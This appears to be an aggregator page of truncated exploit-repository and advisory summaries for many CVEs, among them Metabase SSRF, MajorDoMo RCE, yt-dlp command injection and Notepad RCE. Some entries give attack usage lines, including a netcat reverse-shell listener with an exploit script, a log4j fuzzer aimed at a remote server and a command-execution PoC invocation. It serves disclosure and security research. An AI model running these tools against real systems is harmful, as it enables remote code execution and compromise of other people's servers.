CVE-2021-41277_SSRF

CVE-2021-41277SSRF CVE-2021-41277 可扩展为 SSRF 描述 Metabase 是一个开源数据分析平台。Metabase 版本 0.40.5 受到 CVE-2021-41277 的影响，根据 CVE 描述，该漏洞可导致本地文件包含。 在分析 Metabase 安全公告 中描述的发现并对代码进行差异比对时，由于 URL 协议未被过滤，该漏洞似乎可以扩展为 SSRF 。 POC || GTFO 第一个测试是尝试调用外部服务器。如下所示，该操作可以成功执行。Metabase 实例会调用外部服务器。 第二个测试是扫描内部网络。首先利用 LFI 来识别网络：...

CVE-2023-28432

CVE-2023-28432 Minio 是一个基于Go语言的对象存储服务。它实现了大部分亚马逊S3云存储服务接口，可以看做是是S3的开源版本，非常适合于存储大容量非结构化的数据，例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等。MinIO verify接口存在敏感信息泄漏漏洞，攻击者通过构造特殊URL地址，读取系统敏感信息。 一个简易的漏洞测试、利用工具...

log4j-fuzzer

log4j-fuzzer For Single Target root@kitploit: chmod +x log4j After That Command Simply Put Your Target root@kitploit: ./log4j YOURTARGETURL YOURREMOTESERVER For Multiple Target Gether All Domain, Subdomain, Directroty in a list After That Simply Command This root@kitploit: chmod +x log4j You Can...

CVE-2026-27180-MajorDoMo-unauthenticated-RCE

MajorDoMo RCE CVE-2026-27180 MajorDoMo 中通过更新 URL 投毒实现未认证远程代码执行 CWE-494 – 下载无完整性校验的代码 影响 ：通过放置在 Web 根目录的 webshell 实现服务器完全沦陷 认证要求 ：无 补丁 ：PR 1177 📜 描述 本仓库包含针对 CVE-2026-27180 的概念验证漏洞利用程序——这是 MajorDoMo 智能家居自动化软件中的一个严重未认证远程代码执行漏洞。 攻击者可以： 在无需认证的情况下投毒更新源 URL 强制触发更新，下载并解压恶意 tarball 将任意 PHP 文件（包括...

CVE-2025-55752

CVE-2025-55752: Vulnerabilidad de Path Traversal en Apache Tomcat Entorno de reproducción basado en Docker para CVE-2025-55752, una vulnerabilidad de path traversal en Apache Tomcat 10.1.44. Descripción general CVE-2025-55752 es una vulnerabilidad de path traversal en RewriteValve de Apache Tomca...

CVE-2022-24834-

CVE-2022-24834 python exploit.py -url -port...

cve-2026-25854

CVE-2026-25854 — 偶发开放重定向 发现者： gregk4sec https://github.com/gregk4sec/cve 发现日期： 2026-01-30 受影响厂商： Apache 受影响产品： Tomcat 11.0.x / 10.1.x / 9.x 严重性： 6.1 中危 CWE： CWE-601 指向不可信站点的 URL 重定向（'开放重定向'） 状态： 审核中 / 已修复 / 私有 / 公开 ✅ 摘要 当集群中启用了 LoadBalancerDrainingValve 的 Tomcat 节点处于禁用（排空）状态时，精心构造的 URL...

CVE-2026-23744

CVE-2026-23744 script de python para explotar CVE-2026-23744 cómo usarlo : lo primero que debes hacer es abrir dos terminales primer terminal -- nc -nvlp 4444 segundo terminal -- python CVE-2026-23744.py -lhost tu ip -url url objetivo para el menú de ayuda : python CVE-2026-23744.py -h...

CVE-2026-26331

通过 yt-dlp 中的 --netrc-cmd 实现任意命令注入 严重性： 高（CVSS 8.8） 受影响软件： yt-dlp = 2023.06.21， 修复版本： 2026.02.21 安全公告： GHSA-g3gw-q23r-pgqm CVE： CVE-2026-26331 摘要 yt-dlp 的 --netrc-cmd 命令行选项（或 Python API 参数 netrccmd）在与恶意构造的 URL 结合使用时，可被滥用以实现任意命令执行。这允许攻击者在用户系统上执行任意 shell 命令。 详情 --netrc-cmd 选项允许用户执行 shell...

cve-2026-40176-cve-2026-40261

CVE-2026-40176 Composer Perforce 仓库远程代码执行（RCE） 📋 摘要 Composer 的 Perforce 仓库驱动程序中存在命令注入漏洞，由于仓库 URL 处理过程中输入验证不足，可导致远程代码执行（RCE）。 🎯 漏洞详情 属性| 值 ---|--- CVE ID| CVE-2026-40176 受影响版本| Composer getUser . ' '; if $useClient $p4Command .= '-c ' . $this-getClient . ' '; $p4Command .= '-p ' . $this-getPort . ...

CVE-2026-20841

CVE-2026-20841 - Windows 记事本远程代码执行漏洞 针对 Windows 记事本 Markdown 渲染器中远程代码执行漏洞的概念验证（PoC）。该 Markdown 引擎未限制 URL 协议，允许通过可点击链接触发任意协议处理器。 免责声明 1. 并非本人发现。 功劳归于 MSRC 公告 上的原始研究人员。此为 PoC 复现。 2. 实际严重性低于听起来的效果。 在大多数情况下需要多次点击（参见 局限性）。构建此工具是因为“记事本远程代码执行”这个梗太有趣了，不容错过。 攻击向量 1. 远程载荷（file:///） root@kitploit: click...

CVE-2026-20841

CVE-2026-20841 - Windows 记事本远程代码执行 针对 Windows 记事本 Markdown 渲染器中远程代码执行漏洞的 PoC。该 Markdown 引擎未限制 URL 协议，允许通过可点击链接触发任意协议处理器。 免责声明 1. 并非我的发现。 功劳归于 MSRC 公告 上的原始研究人员。此为 PoC 复现。 2. 严重性比听起来要低。 在大多数情况下需要多次点击（参见 局限性）。 PoC 本地二进制执行（file://） root@kitploit: click 启动磁盘上已有的任何可执行文件 — cmd.exe、powershell.exe、mshta.e...

CVE-2023-24329-Exploit

简介 URL 解析函数专注于将 URL 字符串拆分为其组成部分，或将 URL 组成部分组合成 URL 字符串。 urllib.parse.urlparse 简单来说 ，urllib.parse 用于解析 URL，我们可以通过在 URL 前添加空格来绕过它。这发生在 Python 3.11.4 及更早版本中。 PoC 让我们分解 example.py 以下是一组你不应访问的网站： root@kitploit: blockedlist = "http://example.com/", "http://example2.com/" 此函数检查网站是否在阻止列表中，如果在阻止列表中，则应返回 U...

CVE-2025-60500

CVE-2025-60500 — 不安全的文件上传 / QDocs Smart School 中的逻辑缺陷（Smart School 7.1） 发布日期： 2025-10-17 作者 / 发现者： Lebas Vivien 状态： 已保留 CVE： CVE-2025-60500（已保留） 摘要 QDocs Smart School — 学校管理系统 7.1 中存在一个不安全的文件上传 / 逻辑缺陷，允许具有 accountant 、admin 或 superadmin 等角色的已认证用户通过滥用备选的 YouTube URL 选项来绕过媒体上传功能中的文件类型限制。此缺陷允许攻击者将任意...

CVE-2026-33149-PoC

CVE-2026-33149 — Tandoor Recipes 中的 Host 头注入漏洞 概述 Tandoor Recipes 在 settings.py 中默认将 ALLOWEDHOSTS 设置为 ''，导致 Django 在未经验证的情况下接受 HTTP Host 头中的任意值 。该应用在多个安全敏感场景中使用 request.buildabsoluteuri 生成绝对 URL。攻击者若能发送带有精心构造的 Host 头的请求，即可将所有服务器生成的 URL 重定向到攻击者控制的域名。 最严重的影响是邀请链接投毒...

CVE-2023-6895

python3 CVE-2023-6895.py -u http://target.com -c cmd...

EUVD-2026-81287

n8n is a workflow automation platform. In versions before 1.123.76, 2.37.7, and 2.38.2, the Git node validated a relative remote URL against the configured repositoryPath but then invoked git with that path as its working directory; git walked up to the enclosing repository's top level and resolv...

IBM WebSphere Application Server Liberty 17.0.0.3 < 26.0.0.1 XSS (7254078)

The version of IBM WebSphere Application Server Liberty running on the remote host is affected by a XSS vulnerability as referenced in the 7254078 advisory. - IBM WebSphere Application Server Liberty 17.0.0.3 through 25.0.0.12 are affected by cross-site scripting due to improper validation of...

ReconHound

ReconHound ReconHound is a Python-based web reconnaissance tool built for penetration testers, bug bounty hunters, and ethical hackers. It helps identify hidden paths, files, subdomains, query parameters, virtual hosts, and fuzzable endpoints — making it a versatile solution for deep web...

CVE-2026-61597

djust is a Django library providing Phoenix LiveView-style reactive server-side rendering with Rust-powered performance. Prior to version 1.0.7 , its built-in component template tags (djust.components.templatetags.*) HTML-escape user-supplied URLs via conditional_escape but never validate the URL...